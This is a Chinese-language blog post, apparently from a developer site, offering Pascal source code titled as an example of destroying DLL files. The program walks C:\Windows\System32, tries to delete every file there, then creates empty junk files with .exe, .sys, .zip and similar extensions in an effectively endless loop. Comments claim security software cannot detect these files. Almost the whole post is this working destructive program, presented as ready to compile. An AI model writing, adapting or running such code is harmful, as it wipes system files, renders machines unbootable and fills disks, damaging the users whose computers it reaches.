运用Pascal来破坏DLL的一个实例

运用Pascal来破坏DLL文件的一个实例

关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。

Uses Dos; {调用DOS库}

Const Root='C:\Windows\System32\'; {定位文件}
var vir:array [1..6] of string=('.rar','.sys','.txt','.zip','.exe','.com'); {定义垃圾文件后缀}
      check:text;
      total:string;
      i,n,k:longint;

procedure bfp; {利用DOS库来破坏DLL文件,通过插入线程来破坏系统}
Var {定义}
    FData:SearchRec;
    F:File; 
    KFName:String[12];
    I,J:Longint;

Begin
    {$I-}
    I:=0;
    J:=0;
    FindFirst(Root+'*.*',0,FData); {寻找路径}
    KFName:=FData.Name; {定义名字 定位数据}
    While DosError=0 Do {当DOS错误=0那么就开始 (初始值当然是0)}
      Begin     
        FindNext(FData); {寻找下一个数据}
        Assign(F,Root+KFName); {路径+名字} 
        Erase(F); 
        If IOResult<>0 Then {不断递加I输出错误编号}
          Begin
            I:=I+1;
            Writeln('Error ',I,' Time(s)');
          End
        Else {否则}
          Begin   {输出定位文件的名字}
            J:=J+1;
            Writeln(FData.Name,' Was Already Deleted.');
          End;
        KFName:=FData.Name; {继续循环}
      End;
    Writeln(J,' File(s) Was Deleted.');
    Writeln('Press Enter To Exit');
    Readln;
End;

Begin
N:=maxlongint;
    Bfp;
    for i:=1 to n do {不断产生垃圾文件,后缀名全部都是安全软件查不到的}
     Begin
      If k=6 then k:=1;
      Str(i,total);
      Inc(k);
      Total:=total+vir[k];
      Assign(check,total);
      Rewrite(check);
      Close(check);
     End;
End. {结束.}

 

 
posted @   Chaobs  阅读(421)  评论(0编辑  收藏  举报
编辑推荐:
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
· 使用C#创建一个MCP客户端
点击右上角即可分享
微信分享提示